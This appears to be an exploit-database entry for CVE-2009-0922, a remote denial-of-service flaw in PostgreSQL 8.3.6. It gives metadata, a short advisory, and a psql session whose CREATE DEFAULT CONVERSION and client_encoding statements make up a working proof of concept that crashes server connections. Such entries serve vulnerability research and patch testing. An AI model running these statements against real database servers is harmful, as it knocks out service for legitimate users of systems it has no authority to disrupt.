PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service

Author: Afonin Denis
type: dos
platform: linux
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date_added: 2009-03-11 
date_updated: 2014-04-14 
verified: 1 
codes: CVE-2009-0922;OSVDB-54512 
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source: https://www.securityfocus.com/bid/34090/info

PostgreSQL is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users.

test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1';